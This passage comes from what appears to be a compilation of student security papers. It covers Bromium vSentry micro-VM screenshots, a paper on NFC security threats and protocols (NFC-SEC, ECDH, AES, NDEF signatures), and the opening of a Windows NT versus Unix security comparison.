process [18]. After executing the exploit, Rafal Wojtczuk and Rahul Kashyap were able to receive keyboard commands from the lower-

right green command prompt (non-sandboxed). 
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Appendix C: Bromium vSentry screenshots 
The following sub sections contain screenshots of the actual Bromium vSentry in action. As of 2014, Bromium only accepts live business 

demo requests, no downloaded files are provided on their website. Hence, the authors of this paper were not able to obtain any actual 

physical demo file. These screenshots are screen-captured and referenced from a YouTube video posted by Mr. David Raviv during the 

New York Information Security Meetup 2013 [21]. The screenshots do not represent any work of the authors of this paper and are solely 

for educational purpose. 

C1: Demonstrating principle of least privilege 

C1.1: One task, one micro-VM 

 

Figure C- 1: Untrusted file opening in a micro-VM [21] 

Figure C- 1 shows a downloaded .xlsx file being executed, observe that it is running within a micro-VM #0017. Every single webpage, tabs 

in browsers are also executed in individual micro-VMs. In addition, micro-VMs cannot communicate with each other. [21] 
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C1.2: Creating/saving a new file 

 

Figure C- 2: Saving a new file in micro-VM [21] 

Opening a new file or saving a new file will pause the micro-VM and prompts the user for the location of file. Notice the file prompt is not 

within the .xlsx “frame” as compared to the command prompt under C1.4: Internet cut-off. [21] 
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C1.3 Untrusted and trusted files 

 

Figure C- 3: An Excel file labelled as "Untrusted" [21] 

In Bromium, files are classified into “Trusted” and “Untrusted”. Files that arrived from external sources such as the Internet, thumb drives 

are labelled as “Untrusted” by default. (This .xlsx is downloaded from the Internet.). An “Untrusted” file in Bromium means the file has a 

restricted “view” of the system; can only be executed with the least privileges required to complete its tasks. In contrast, files that are 

created by the users themselves are “Trusted” (the ones without the orange labels), all other internal files are “Trusted”. There exists 

policies which allows users to configure a particular device as “Trusted”. [21] 
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C1.4: Internet cut-off 

 

Figure C- 4: "ping" failed inside Excel file [21] 

The Developer Mode (red command prompt), not available to general users, proves that the .xlsx file does not have access to Internet; the 

“ping” command failed. Also, notice that the command prompt sits inside the “frame” of the .xlsx file? This is an evidence of micro-VM. 

The command prompt cannot be dragged out of the .xlsx “frame”. Without Internet access, even if an attacker manages to launch a shell 

from within the micro-VM, the attacker could not establish any links with external malicious servers. 
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C1.5: Viewing user directories 

 

Figure C- 5: Restricted directory view in micro-VM [21] 

Figure C- 5 shows an attempt to view user directories within the micro-VM (red command prompt). The attacker is shown random user 

data (presumably fake) in contrast to the actual user directories (shown in green command prompt). Notice the absence of directories 

“frankadmin” and “joe” within the micro-VM’s command prompt. 
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C1.6: Viewing system files 

 

Figure C- 6: Viewing Ntoskrnl.exe within micro-VM [21] 

This demonstrates the scenario of an attacker viewing system files (red command prompt), e.g. ntoskrnl.exe, assuming the attacker manages 

to launch a command prompt from the downloaded .xlsx file. 

Similar to the viewing of user directories, if the attacker tries to view system files, the attacker is actually viewing a virtual environment 

provided by the micro-VM, i.e. the system files are not real. Thus, any harmful modifications done on system files will not affect the actual 

desktop. 
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C1.7: Attacker creating a file 

 

Figure C- 7: Simulating creating a new file under micro-VM [21] 

This demonstrates the scenario of an attacker creating a file (red command prompt), assuming the attacker manages to launch a command 

prompt from the downloaded .xlsx file. Files can be created by the attacker, but these files only reside within the micro-VM. Once the .xlsx 

is closed, the micro-VM is destroyed along with the newly created file. 
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C2: Impact of micro-VM 

 

Figure C- 8: Executing 8 micro-VMs [21] 

 

Figure C- 9: Executing 32 micro-VMs [21] 

Comparing Figure C- 8 and Figure C- 9, it is observed that the memory usage climbed from 4.40GB to 6.11GB. About 1.71GB were 

utilized to execute 24 micro-VMs, which roughly translates to around 73MB per micro-VM. The memory usage seemed reasonable from 

an enterprise system viewpoint. However, the actual memory usage depends on executed tasks such as the type of websites that are 

rendered, Adobe Flash intensive etc. 
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C3: Live attack visualization and analysis (LAVA) 

 

Figure C- 10: LAVA showing links of malicious website [21] 

A view from LAVA after an analysis, displaying all the IP addresses that a malicious website is related to. 

92



Near Field Communications Security 
Alex Peh Kim Chai 

A0097921W 
National University of Singapore 

a0097921@nus.edu.sg

Prakash S/O A Divakaran 
A0098943L 

National University of Singapore 
a0098943@nus.edu.sg 

Yu Zhangxin 
A0097868B 

National University of Singapore 
a0097868@nus.edu.sg 

 
 

ABSTRACT 
In this paper, we illustrate on NFC, providing a brief introduction, 
benefits, and security issues for different operating modes as well 
as its applications in inexpensive systems. For security issues, we 
will explore various existential encryption techniques and 
protocols used in NFC to ensure a secure environment for its 
consumers.  
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1 Introduction 
The Near field communication (NFC) is a wireless technology 
that allows interactions between electronic devices, such as 
smartphones or tablets, in a simple and safe manner. The NFC is 
essentially a subset of the radio-frequency identification (RFID) 
technology, which uses magnetic field induction to create a 
communication channel between devices in close proximity. NFC 
uses similar standards and protocols used in contactless card 
technology (ISO/IEC 14443 A&B and JIS-X 6319-4) [1]. At the 
physical layer, NFC utilizes two protocols, namely NFCIP-1 
(Near Field Communication Interface and Protocol-1) and 
NFCIP-2. 

1.1 NFCIP 
NFCIP-1 is a standard that outlines the general protocol flow of 
the radio frequency, transportation, data exchange and its 
architecture, as well as error detecting calculation in the form of 
cyclic redundancy check. It also specifies the communication 
modes as active or passive. NFCIP-2 standard defines the 
communication mode selection mechanism and ensures there is no 
interference between other devices that operates at the same time, 
at 13.56 MHz [2]. 

1.2 Modes of operation 
There are three modes of operation, namely peer-to-peer, 
reader/writer, and card emulation. The peer-to-peer mode allows 
NFC enabled devices to interact with each other. The 
reader/writer mode supports interaction between data exchange 
between one NFC device and another NFC tag. While the card 
emulation mode enables devices to be used as a smart card to 
interact with an NFC reader (See Figure 1). 
 

 
Figure 1. Different types of  operating modes 

 

1.3 Signal Technologies 
NFC uses three different signaling technologies to communicate 
with each other. Type A NFC uses Miller encoding with 
amplitude modulation at 100%. Type B NFC uses Manchester 
encoding with amplitude modulation at 10%. Type F NFC, also 
known as FeliCa, uses a variation of Manchester encoding [3]. 

1.4 Tag Types 
For the passive NFC tag, we classify them into 4 categories. The 
categorization of the type depends on the following: ability to 
read/write, memory size, and the compatibility with various NFC 
signal types.  

2 NFC in Singapore 
As part of the iN2015 Next Generation e-Payment Program, the 
usage of NFC started in 2008, where the Infocomm Development 
Authority of Singapore (IDA) set up an industrial collaboration 
with MAS, LTA, MOF, and 11 other key industry players of the 
finance, communication and service fields. Together, they 
deployed a NFC payment system through a Trusted Third Party 
(TTP) infrastructure, which acts as a middle-man to link various 
companies into a single network. This program in turn allows 
consumers to gain access to any service without being limited by 
the telecommunication service provider that they are subscribed 
to. This also reduces the infrastructure costs spent. In addition, 
having major companies to participle in the collaboration 
increases the trust and security of theses NFC services [4]. 
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2.1 Benefits of NFC  
In particular to the establishment of the TTP infrastructure, 
consumers now need to only carry their NFC enabled phone to 
perform transactions. They can also receive updates via a single 
tap on tags placed in shopping malls to enjoy the latest offers. 
Similarly, with the open standards and protocols used in TTP, 
companies benefit from the shorter time to market compared to 
setting up the network individually. The convenience also 
promotes customers to frequently visit shops. 

3 SECURITY ISSUES 
Near Field Communications has given rise to conveniences in the 
simplification of existing protocols to perform contactless 
transactions, access digital content, and connect electronic devices 
with a single touch, but as with all solutions, fundamental security 
issues are inevitable.  

Security issues are dependent on the mechanisms employed in the 
operating modes of NFC as the issues are similar for some of the 
mechanisms whereas some are unique. The mechanisms are the 
NFC Reader, NFC tag and the NFC enabled phone with a secure 
element. 

In the peer-to-peer mode, both the devices paired will act as NFC 
readers that are active. In the Reader/Writer Mode, one of the 
devices would be the active NFC reader whilst the other would be 
a passive NFC tag. As for the Card Emulation Mode, an NFC 
enabled mobile phone with an integrated secure element is used. 

The unique issues for each mechanism will be covered before 
covering the issues applicable to the communication channel in all 
operating modes. 

3.1 Security Issues with NFC Tags 
Attacks on the tag are carried out when the tag is on standby 
mode. The common attacks are listed below [2]. 

3.1.1 Tag Cloning and Impersonation 
Tag cloning and impersonation are problems closely related to the 
RFID tags, as the NFC tag is actually an RFID tag. Cryptographic 
measures include reader-to-tag and tag-to-reader authentication. 
Once the attacker gets the cloned tag, he can reuse it multiple 
times. 

3.1.2 Tag Content Changes 
Tag content changes are usually carried out by spoofing. For 
example, the uniform resource locator (URL) of a smart poster is 
faked with a malicious URL or the uniform resource identifier 
(URI) of the smart poster is abused by changing the content of an 
authentic address to a malicious one.  

3.1.3 Tag Replacement and Hiding  
Tag replacement and hiding is done by sticking a malicious tag on 
top of the original tag, which would transfer malicious code to a 
reader. This might allow the attacker to work the system to his 
desire. 

3.2 Security Issues with NFC Readers 
The security issues related to that of the NFC readers could be 
either due to the physical removal/destruction of the NFC reader 
or an impersonation attack. 

3.2.1 Removal or Destruction 
NFC readers if left unattended might be subject to a physical 
removal or destruction. The removed reader could have critical 
information such as cryptographic keys.  

3.2.2 Impersonation 
Unauthenticated NFC communication is vulnerable to an 
impersonation attack. An attacker could get away with valuable 
information such as the credentials stored on the NFC reader and 
take advantage of the information. 

3.3 Security Issues on Smart Cards 
Smart cards of NFC enabled mobiles are generally used with a 
secure element, for payment and transactions. This secure element 
is a combination of hardware, software and protocols. Smart cards 
are open to two groups of attacks; an invasive attack and a side 
channel attack. 

3.3.1 Invasive Attacks 
Invasive attacks involve the removal of the microprocessor or an 
attack physically on it. This is an extremely intricate process that 
requires very expensive equipment, great expertise and a large 
investment. Most likely, only class 3 attackers can carry out this 
attack.  

3.3.2 Side Channel Attacks 
This is carried out by observation of the side channel information, 
such as timing and power consumption, from which information 
of the characteristic of the smart card is derived. 

3.4 Security Issues on Communication 
Channel 

The short range of communication, typically 10 centimeters or 
less, does give a sense of enhanced security in comparison to 
other wireless technologies. But attackers with enhanced radio 
devices can communicate with the contactless smart cards. Listed 
below are some of the attacks possible. 

3.4.1 Eavesdropping 
This is done with the use of an RF antenna to receive the RF 
signals in the communication channel. The success of 
eavesdropping depends on many parameters such as the quality of 
antenna and distance [5]. 

3.4.2 Data Corruption 
This is similar to a denial of service attack (DOS) where the 
attacker blocks or disturbs the communication such that the 
receiver is not able to get or decipher the data. 

3.4.3 Data Manipulation 
This is accomplished when the attacker intercepts the data and 
tries to modify the binary value of the data before sending the data 
off. 

3.4.4 Data Insertion 
An attacker does this by inserting data into the communication. 
This happens only if the answering device is taking a long time to 
reply. 

3.4.5 Man-In-The-Middle 
An attacker acts as a middle-man between two NFC devices to 
intercept the data without the knowledge of the two NFC devices. 
The attacker either reads and records or manipulates the data 
before relaying it to the receiving device. 

3.4.6 Relay Attack 
A relay attack exploits the ISO/IEC14443 protocol compliance of 
NFC; the attacker has to forward the request of the reader to the 
victim and relay back its answer to the reader in real time in order 
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to carry out a task by pretending to be the owner of the victim’s 
device [6]. 

3.5 Case Study on Google Wallet Relay 
Attack 

Researcher Michael Roland designed Trojan relay software that is 
able to receive payment commands over the air through a relay 
server and use the credentials from Google’s embedded secure 
element for a live payment transaction.  
This attack was slightly different as it used a software based relay 
attack approach. In versions of Google Wallet till June 2012, it 
was possible to communicate with the credit card applets in the 
secure element through the wired interface without asking the user 
for his PIN. An Android application (relay software) was used to 
communicate to the secure element using the secure element’s 
Application Programming Interfaces (API) (see Figure 2). 

 
Figure 2. Software relay attack setup 

A key contributor to this attack was a flaw in the design principle 
that allows access to the secure element. The fix provided by 
Google addressed this by limiting access, an idea of least 
privileges [7]. 

4 NFC Security Protocols 
Security concerns are ever more present then now given the 
complexity in the challenges in security issues faced by NFC 
devices. Leaving security as an after thought would be 
catastrophic. A firm security framework would be of paramount 
importance. This section details the security protocols present in 
NFC. 

4.1 Standardized NFC Security Protocols 
Security protocols of Near Field Communication Interface 
Protocol (NFCIP-1) are standardized in the European Computer 
Manufacturers Association standard (ECMA 385) as NFC-SEC 
and ECMA 386 as NFC-SEC-01 [2]. NFCIP-1 does not provide 
any form of security as its purpose was for the establishment of 
communication. NFC-SEC, which is above NFCIP1, provides the 
security services for the peer-to-peer mode, excluding the 
reader/writer and card emulation mode. 

4.1.1 NFC-SEC 
NFC-SEC caters a good balance between security and 
performance. Protocols that are included within NFC-SEC are 
defined to support and used on top of NFCIP-1 protocol. NFC-
SEC is essentially a protocol stack that enables application 
independent encryption functions on the data link layer. 
Applications that operate on peer-to-peer mode do not require 

application specific encryption mechanisms for the security 
services that are provided by NFC components. This is similar to 
IPsec (Internet Protocol Security) and ignoring security services 
on higher layers. Basic NFC-SEC is the Security Services and 
Protocol standard that is defined in ECMA-385 [2]. Its 
fundamental services are protection against eavesdropping and 
data modification (see Figure 3). 

 
Figure 3. Summary of security provided services 

The basic framework is complemented by ECMA-386 NFC-SEC-
01 which is NFC-SEC Cryptography Standard using ECDH and 
AES [2]. It specifies cryptographic mechanisms that require the 
usage of the ECDH protocol for key agreement and the AES 
algorithm for data encryption and integrity.   

 
Figure 4. NFC-SEC standards architecture 

4.2 NFC-SEC Architecture 
NFC-SEC architecture adopts the OSI reference model specified 
in ISO/IEC 7498-1 and the security architecture of ISO 7498-2 
(see Figure 4).   

4.2.1  NFC-SEC Services 
NFC-SEC uses Service Access Points (NFC-SEC-SAPs) that 
allow users to invoke and access NFC-SEC services. NFC-SEC 
entities obtain NFC-SEC Service Data Units (NFC-SEC-SDUs) 
that are referred to as requests from NFC-SEC users and return 
NFC-SEC-SDUs confirmations to them (see Figure 5).  

4.2.2 NFC-SEC Protocol Data Units 
NFC-SEC protocol also allows NFC-SEC entities to peer-
exchange Protocol Data Units (NFC-SEC_PDUs). NFC-SEC 
entities that are peered communicate with each other by accessing 
NFCIP-1 data service through NFCIP-1 Service Access Points 
(NFCIP-1-SAPs). NFC-SEC entity is able to send and receive 
NFC-SEC-PDUs. A typical NFC-SEC-PDU consists of NFC-SEC 
Protocol Control Information (NFC-SEC-PCI) and a single NFC-
SEC-SDU [2] (see Figure 5). 
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Figure 5. NFC-SEC Architecture 

The structure of a protocol data unit (PDU) is shown in Figure 6. 
It includes a Secure Exchange Protocol (SEP), a protocol 
identifier (PID), and an NFC-SEC Payload.  
 

 
Figure 6. Stucture field of NFC SEC PDU 

4.3 NFC-SEC-01 Mechanisms using ECDH 
and AES 

To provide a means of secure communication between NFC 
devices that do not share any common secret data before they start 
communicating with each other, public key cryptography is used 
to authorize a shared secret between these devices, and more 
peculiarly an ECDH key exchange scheme. This shared secret 
function is used to establish Shared Secret Service (SSE) and 
Secure Channel Service (SCH). The SSE establishes a shared 
secret between the peers that can be used at their own discretion 
whereas the SCH establishes a shared secret beforehand and 
protects the communication. 
 
NFC-SEC-01 provides mainly the following functions: 
 

1) Message contents with concatenation rules for keys and 
other fields        

2) Key primitives; 
3) Random number requirements; 
4) Conversion and transformation rules; 
5) Cryptographic algorithms and methods. 

 
The Key Derivation Function (KDF), key confirmation, data 
encryption, and data integrity functions are based on AES. Data 
confidentiality is enforced by AES with a 128 bit key length in 
Counter (CTR) mode. The CTR mode is an algorithm that uses a 
block cipher to provide confidentiality and authenticity for an 
information service. It is better-secured and suitable for restricted 
communication bandwidth because it uses block cipher as a 
stream buffer which does not require padding. 
  
Two KDFs are specified in ECMA 386. The first KDF is for the 
key verification for the SSE using the master key MKSSE. The 
second KDF function for SCH derives three keys: the master key 
for SSE (MKSCH); the encryption key for SCH (KESCH); and 
the integrity protection key for SCH (KISCH). 
 
When a key is derived after the KDF processes, NFC-SEC entities 
are compared to check if they indeed have the same key. To 
perform this key confirmation process, each entity generates a key 
confirmation tag (known as a MacTag) and then sends it to its 

peer entity. Entities verify the key confirmation tag after the 
reception of the key. The usage of keys is described in Table 1. 
 

Table 1. List of key and their usages 

  

5 ECDH 
Elliptic curve diffie-hellman (ECDH) is an anonymous key 
agreement protocol that allows two parties to derive a shared 
symmetric secret key from an elliptic curve public-private key 
pair over an unsecure communication environment [9]. Elliptic 
curve cryptography requires a smaller key size in comparison to 
RSA, whilst providing the same level of security, which makes it 
suitable for implementation in near field communications as it 
reduces processing overheads with its low power operations.  

5.1 Elliptic Curve Cryptography (ECC) 
The fundamental mathematical problem used to enforce this 
cryptographic scheme is the idea that finding the discrete 
logarithm of a random elliptic curve element with respect to a 
publicly known base element is infeasible [10]. Using RSA, the 
resources available to decrypt large keys has increased over the 
years and this has led to the need of two larger prime numbers for 
computation, which is resource intensive for low power devices, 
like the NFC readers. Thus another branch of mathematics, which 
was not as intuitive as factoring, was used to the address this 
issue: Elliptic Curves. 
5.1.1 Elliptic Curves 
An elliptic curve is the set points satisfying an equation in two 
variables with degree two in one of the variables and three in the 
other. An example of a curve equation [11]: 

y2 = x3 + ax + b  

An elliptic curve cryptosystem can be defined by picking a prime 
number as a maximum, a curve equation, and a public point on the 
curve.  

5.1.2 Discrete Logarithm Problem 
akmodn  

The solution to finding the discrete integer k, given two real 
numbers, a and n, which are part of a mathematical group is 
believed to be arbitrarily hard. A group is a set of elements 
together with an operation that combines any of its two elements 
to form a third element satisfying four conditions which are 
known as the group axioms. These four elements are closure, 
associativity, identity and invertibility. Elliptic curves is one of 
the groups used to derive a and n. Given the nature of these four 
elements, finding a discrete logarithm is believed to be arbitrarily 
hard. 

5.2 Diffie –Hellman Key Exchange   
Diffie-Hellman was the first public key algorithm invented in 
1976. The security of the algorithm hinges on the discrete 
logarithm problem. The Diffie-Hellman key exchange between 
Alice and Bob is illustrated below over an unsecure 
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communication link (See Figure 7). Both Alice and Bob should 
have a public-private key pair that can be derived using Elliptic 
Curve Cryptography.  

 
Figure 7. With a public-private key pair 

Alice and Bob both send a mixture of their public-private colors 
over the network, which is snooped by Ms Eve. After the 
exchange, Ms Eve also known as eavesdropper would have gotten 
both their mixed messages as shown in Figure 8. 

 

 
Figure 8. Mixed message 

Now both Bob and Alice are able to get a shared secret using their 
private keys. Ms Eve, also known as the eavesdropper, would not 
be able to generate this as shown in Figure 9 as she does not have 
the private key. 
 

 
Figure 9. Derivation of shared secret 

The public key can either be static or ephemeral. A static public 
key would require a certifying authority. The key exchange 
algorithm provides perfect forward secrecy. It generates a new 
shared secret each time a new connection is setup-up. So if the 
secret was discovered after the first attempt by an attacker, the 
secret would be of no value in the second round as a new shared 
secret would have been established. 

6 AES 
The Advanced Encryption Standard (AES) is currently the 
requirement for encryption of electronic data as set up by the US 
National Institute of Standards and Technology (NIST) in 2001. 
The encryption scheme was developed by Joan Deamen and 
Vincent Rijmen. It is a symmetric key algorithm with a fixed 
block size of 128 bits. The AES comes with three different key 
lengths, namely AES-128, AES-192 and AES-256, where the 
number represents the key size. 

6.1 Encryption Process 
The 128 bits block will be arranged into a 4x4 matrix of bytes, 
which we called it the state. The encryption will go through 4 
processes; Key Expansion (key scheduling), Initial Round 

(AddRoundKey), ‘n’ number of rounds (SubBytes, ShiftRows, 
MixColumns, and AddRoundKey) and a final round (SubBytes, 
ShiftRows, and AddRoundKey). The ‘n’ is defined to be the 
number of rounds according to the key size; 9, 11 and 13 rounds 
for 128, 192, 256 bits keys respectively. The operations done in 
these processes are key scheduling, SubBytes, ShiftRows, 
MixColumns and AddRoundKey [12]. The explanations and 
examples below shall use the 128-bit keys encryption otherwise 
stated. 

6.1.1 Key Scheduling 
During the Key Expansion process, we are required to generate 
the round keys from the cipher key using Rijndael’s key schedule 
into 11 partial keys; used for the initial round, the 9 main rounds 
and the final round. First, the words are in position of multiple of 
four (Wi), they are calculated by taking the column Wi-1 and rotate 
up once and apply SubBytes transformation, we will describe 
SubBytes operation in details later. We then take it and perform a 
XOR operation with column Wi-4 and a constant Rcon from the 
Rcon table (Figure 10). The result will be place into column Wi. 
The remaining 3 columns will only take Wi-1 XOR Wi-4 to get the 
results. This process will repeat until we have enough partial keys. 

 
Figure 60. XOR operations to retrieve the result for column 

Wi 

6.1.2 SubBtyes 
In SubBytes step, it will substitute each byte with a SubByte from 
the Rijndael S-box (Figure 11). 

 
Figure 11. SubBytes operation replacing 19 with d4 

6.1.3 ShiftRows 
In the ShiftRows step, it cyclically shifts the rows to the left by an 
offset in accordance to the rows. The first row remains 
unchanged. Second, third and fourth rows are shifted by one, two 
and three bytes respectively. 

6.1.4 MixColumns 
It takes a columns of the state and treat is as polynomials over GF 
(28) and is then multiplied modulo x4+1 with a fixed nonsingular 
polynomial c(x) = 3x3+x2+x+2 [12]. 
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6.1.5 AddRoundKey 
By using the partial key it got from the Key Scheduling process, it 
simply does a bitwise XOR between the state and the partial key 
to obtain a new set of state. 

6.2 Cryptography Analysis 
The main key four processes provide non-linearity, diffusion and 
asymmetry to the cipher. Hence, AES has resistance against 
attacks that target linearity, predictable propagations, or patterns. 
Strength against brute force for 128-bits key has a complexity of 
2127, 192-bits and 256-bits have 2191 and 2255 complexity 
respectively. 

7 Digital Signatures in NFC 
Data integrity in NFC has been a security issue till 2010 when the 
NFC forum mandated an option for developers to include digital 
signatures, with a choice of their own suitable signature 
algorithms in the NFC tags used in the Reader/Writer mode. 

The signature record consists of a digital signature related to one 
or more records within an NFC Data Exchange Format (NDEF) 
message [2]. The purpose of signature is to verify the integrity and 
authenticity of the overall 108 Near Field Communication NDEF 
message by signing them. Digital signing of NDEF data is a 
trustworthy method for providing information about the origin of 
the NDEF data in a NFC Forum mandated tag and NFC device. It 
enhances the authenticity and integrity of data within the NDEF 
message to be verified. The aim is not to define or control a 
specific PKI or certification system, or to define a new algorithm 
for use with the signature Record Type Definition (RTD). The 
NFC Forum Well-Known Type for the signature record is “Sig” 
which is 53hex, 69hex and 67hex in UTF-8 encoding. The contents of 
the payload of a signature record are namely: 
 
• Version - refers to the version of the specification. 
• Signature - the actual signature or reference to the location of the 
signature. 
• Certificate - chain which includes optional and mandatory fields 
 
The signature record can be used within an NDEF message as 
well as other types of data. Tags can be generated and edited 
inside a simulator tag.  
 
Two JSRs (Java Specification Requests) are developed under the 
Java platform to provide APIs for the implementation of NFC-
based applications that include digital certificates and signatures 
[2]. JSR 257 (Contactless Communication API) is for mainly 
reader/writer mode programming and JSR 177 (Security and Trust 
Services API) is for card emulation mode programming. JSR 177 
reinforces communication with smart card applications and also 
provides application level digital signature signing, user credential 
management and cryptographic operations. JSR 257 is mainly 
concerned with discovering contactless targets in the proximity, 
notifying applications upon discovery, and performing tag 
operations. 
 
Therefore, signed NDEF data allows the receiving NFC device to 
determine if the data has a trustworthy origin and if it is free of 
manipulations.  

7.1 Averting Attack Signing NDEF 
Signature 

By the means of digital signatures, an NFC device has the 
possibility to identify the original signed NDEF messages. Based 

on that information, a decision can be made on whether NDEF 
records should be allowed to trigger certain events, like opening a 
specific website, calling a specific telephone number or initiating a 
specific alternative carrier. Among them are the malicious 
modification of unlocked tags and the use of valid signed tags in 
other than the intended places [8]. 

7.1.1 Backwards Compatibility 
Backwards compatibility is a main requirement for the digital 
signature. It is divided into two categories of compatibility: 

7.1.2 Devices that do not support signatures 
By using the approach of a dedicated signature record, devices 
that do not support signatures will simply ignore the unknown 
signature record. Thus, compatibility is not an issue. 

7.1.3 Unsigned NDEF messages 
Many current applications rely on unsigned tags. Therefore, an 
NFC device that blocks or ignores unsigned NDEF messages 
would render these applications unusable. On the other hand, an 
NFC device should distinguish between signed and unsigned data 
and use different levels of trust for each of these cases. In general, 
it should be possible to move a group of signed NDEF records to 
any position within an NDEF message. Hence, including the 
message begin (MB) flag or the message end (ME) flag into the 
signature is not useful. 

7.1.4 Payload Field and Type Field 
The central element being protected by the digital signature is the 
records’ payload. As the type identification ID determines the 
interpretation of the payload, the integrity of the Type field has to 
be guaranteed as well. 

7.1.5 ID Field 
NDEF records may be linked to other NDEF records through their 
ID reference. When the ID field of a referenced record is 
manipulated, any such links is broken. An attacker could use this 
method to bypass a record in the signed NDEF message and to 
redirect the link to a new record (either unsigned or signed by the 
attacker). 

7.1.6 Short Record Flag 
The SR flag controls the size of the Payload Length field. 
When SR is set, the size is reduced from four bytes to one byte. 
When the signature includes neither this flag nor the Payload 
Length field, then repacking of NDEF records from one format to 
the other format would be possible. On the one hand, one can 
reduce the size of an NDEF message without invalidating its 
signature. On the other hand, an attacker could exploit this feature 
by modifying the fields that follow the Payload Length. If the 
length fields are not part of the signature, then there is no 
advantage for the attacker in manipulating the size of the Payload 
Length field, as its value could be modified anyways. Otherwise, 
three signed bytes could be moved from the Payload Length into 
the following fields (or the other way round) without changing the 
signature. Nevertheless, when this happens to change the size of 
the ID or the payload, signed parts of one record need to be 
included into an adjacent record. Therefore, this attack is difficult 
to achieve. 

7.1.7 ID Length Present Flag 
The IL flag controls the presence of the ID Length field and, 
consequently, the ID field. When the signature includes neither 
this flag nor the length fields, then an attacker could add an ID 
field and use it to hide a suffix of the type identifier or a prefix of 
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the payload without invalidating the signature. Similarly, an 
existing ID field could be integrated into the Type or the Payload 
field. If the length fields are part of the Signature, then the lengths 
of Type, ID and Payload cannot be arbitrarily chosen. Therefore, 
as with the SR flag, such an attack is not easily achievable in that 
case. 

7.1.8 Length Fields 
When the length fields are not included into the signature, then the 
size of the Type, ID and Payload field may be changed without 
requiring an update of the signature. As with the IL flag, this 
could be exploited to move bytes between the field boundaries. 
For instance, parts of the ID field or even the payload could be 
appended to the type identification or the other way round. The 
signed part of subsequent record could even be completely 
included into the preceding record's Payload field. When the 
length field is signed, it is difficult for malicious attacker to 
change the field size. The attacker can only adjust the length in-
combination with the SR or LR flag. However, the value of length 
fields cannot be arbitrarily chosen. 

7.1.9 Chunked Records 
The Chunk Flags allow the payload of one record to be divided 
across multiple smaller record chunks. When the fields of Type 
ID and Payload are signed, signed records can be merged from 
multiple chunks without invalidating the signature. However this 
is also prone to attack because when every other field and flag 
except the CF protected by the signature, an attacker could clear a 
set CF flag to cut the remaining chunks off the record. The 
remaining chunks will trigger parser error as their Type Name 
Format field states that they continue a previous record. Only if 
the TNF filed is not included into the signature, an attack could 
have played with field value to an unknown and therefore make 
the parser ignore the trimmed chunks. 

7.1.10 Type Name Format 
When the TNF field is excluded from the signature, identification 
could be modified without changing the Type field. For instance, 
the well-known type "urn:nfc:wkt:U" can be change to external 
type "urn:nfc:ext:U" (although this identifier violates the RTD 
specification because it does  not include the domain name). In 
combination with other unprotected fields even further 
manipulation is possible without avoiding the signature. 
Particularly in combination of length fields, an attack could 
change the type of a record to unknown and integrate the unused 
type field into payload (ID). 

7.1.11 Limitation for Java's Contactless 
Communication API 
Many mobile NFC devices especially mobile phone, provide java 
platform. Java's Contactless communication API (JSR 257) 
already includes a package for parsing NDEF message. 
Unfortunately, the NDEF parser already put a certain level of 
abstraction on NDEF record. For example, a chunked record is 
automatically combined into a single record without the record 
headers. Signature library top of the NDEF parser API render the 
inclusion of header fields into signature virtually impossible. 
Consequently, when JSR 257's NDEF parser needs to be used, it 
can limit to only protect the Type Id, payload length and ID 
length.  
 

 
Figure 12. Show the part of different fields and how useful is 

the signature in term of protecting 

8 Inexpensive NFC Applications in 
Singapore 

The usage of NFC system has changed the way Singaporeans’ live 
by introducing it into our transport system, from simple point-to-
point “pay-as-you-go” schemes to more complex implementations 
that include multiple operators and multiple payment options. 
NFC also supports many forms of ticketing systems, from open 
(un-gated) systems, controlled entry programs, self-service kiosks 
to completely gated schemes. The timeframes for potential 
implementations are dependent on their complexity.  

8.1 Card emulator mode and Reader/Writer 
mode 

The Near Field Communication NFC mobile payment service for 
smart-phones allows users to make cashless payments by tapping 
supported handsets at Near Field Communication NFC contactless 
payment terminals at over 20,000 points island-wide that accepts 
EZ-link payments. Some of such points are taxis, supermarkets 
and fast food chains. This service is available for customers who 
have a supported NFC smartphone and have purchased a NFC 
SIM card from their respective service providers (see Figure 13). 
 

 
Figure 13. EZ-link using NFC 

Singapore introduced its first virtual credit card on a mobile 
phone; DBS One Tap. Users can make secure mobile payments 
through an NFC-enabled mobile phone (see Figure 14).  
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Figure 14. Wave and Go payment on DBS banking 

8.2 Peer to Peer mode 
NFC peer-to-peer mode, unlike the card emulation mode and 
reader/writer-mode, is a mode in which two NFC devices transfer 
information between each other. This can be used for value-added 
services, redemption of tickets at a kiosk, person-to-person 
sharing such movie sharing (see Figure 15). 
 

 
Figure 15. Peer to peer movie sharing streaming 

9 Conclusion 
As Singapore advances with the infrastructure of NFC, this will 
definitely increase the amount of users exponentially. With the 
large amount of users and valuable data, this in return will attract 
malicious users to carry out attacks on NFC to gain information 
illegally. NFC by itself has no security elements, and the 
standards used are not universally deployed. Nevertheless, 
standards have been established. In this paper we have discussed a 
few of the protocols and encryptions techniques used to prevent 
attacks. However NFC is still far from being a perfectly secure 
system as shown in the case study above.  
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Appendix 
AES - Advanced Encryption Standard 
ECMA -European Computer Manufacturers Association  
KDF- Key Derivation Function 
NDEF- NFC Data Exchange Format  

NFCIP- Near Field Communication Interface Protocol 
NFC-SEC NFC Cryptography standard  
RTD- Record Type Definition 
RFID - the radio-frequency identification 
SSE-Shared Secret Service   
SCH-Secure Channel Service  
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ABSTRACT
This paper introduces different security features implemented
in Unix-based and Windows NT operating systems. We
evaluate two different operating systems by comparing the
techniques used to protect the system security. Our focus of
this paper is the techniques used in the File System of the
operating systems. However, we give analysis on the tech-
niques used in System Architecture and Firewall as well.

Categories and Subject Descriptors
D.4.6 [OPERATING SYSTEMS]: Security and Protec-
tion

General Terms
Security

Keywords
Security, Operating Systems, Windows, UNIX, Mac, Linux

1. INTRODUCTION
Operating system (OS) is a collection of low level softwares
interacting with the computer hardware. It enables the user
and the high level applications to access the data stored in
the hardware. OS has a history of 50 years and it is an es-
sential part of the computer. The evolution of OS during
the past 30 years was rapid and the achievement was there-
fore remarkable. Among all the operating systems, some
like Linux, Mac OS, Microsoft Windows and QNX are quite

popular in use today. As different OS may perform differ-
ently in various fields, comparing OS has become a difficult
but crucial challenge for people who study computer science.

This paper addresses the similarities and differences between
Windows NT OS and Unix-like OS on the aspect of security
by exploring the techniques used for each operating system.
The techniques discussed in this paper are partitioned into
file system, system architecture and firewalls, where the em-
phasis is on file system. The strengthes and weaknesses on
each technique for each OS respectivly are also evaluated
below, followed by a future perspective of OS.

2. FILE SYSTEM
Windows NT operating system and Unix-like operating sys-
tem are quite different in their file system security mod-
els. One of the most noteworthy differences is that Unix
file servers use traditional Unix nine permissions that pro-
vide control for self, group and others, while Windows NT
